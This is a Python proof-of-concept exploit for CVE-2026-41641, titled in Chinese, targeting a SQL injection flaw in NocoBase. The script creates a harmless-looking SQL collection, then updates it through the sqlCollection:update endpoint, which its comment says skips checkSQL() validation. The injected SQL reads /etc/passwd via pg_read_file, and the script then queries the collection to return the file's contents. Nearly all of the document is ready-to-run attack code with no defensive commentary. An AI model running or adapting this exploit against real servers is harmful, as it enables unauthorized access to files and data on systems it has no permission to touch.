CVE-2026-41641 NocoBase SQL注入漏洞

import requests # Configuration TARGET_URL = "http://target-nocobase-instance.com" API_KEY = "YOUR_VALID_API_TOKEN" # Requires collection management permissions headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # Step 1: Create a benign SQL collection to bypass initial checks create_data = { "key": "malicious_collection", "title": "Benign Data", "sql": "SELECT 1 as id" # Safe SQL } r1 = requests.post(f"{TARGET_URL}/api/collections:create", json=create_data, headers=headers) print(f"Create Status: {r1.status_code}") # Step 2: Update the collection using the vulnerable endpoint (sqlCollection:update) # This endpoint lacks the checkSQL() validation update_data = { "key": "malicious_collection", "sql": "SELECT pg_read_file('/etc/passwd')" # Malicious SQL injection } r2 = requests.post(f"{TARGET_URL}/api/sqlCollection:update", json=update_data, headers=headers) print(f"Update Status: {r2.status_code}") # Step 3: Query the collection to execute the injected SQL r3 = requests.get(f"{TARGET_URL}/api/malicious_collection:query", headers=headers) print(f"Query Result: {r3.text}")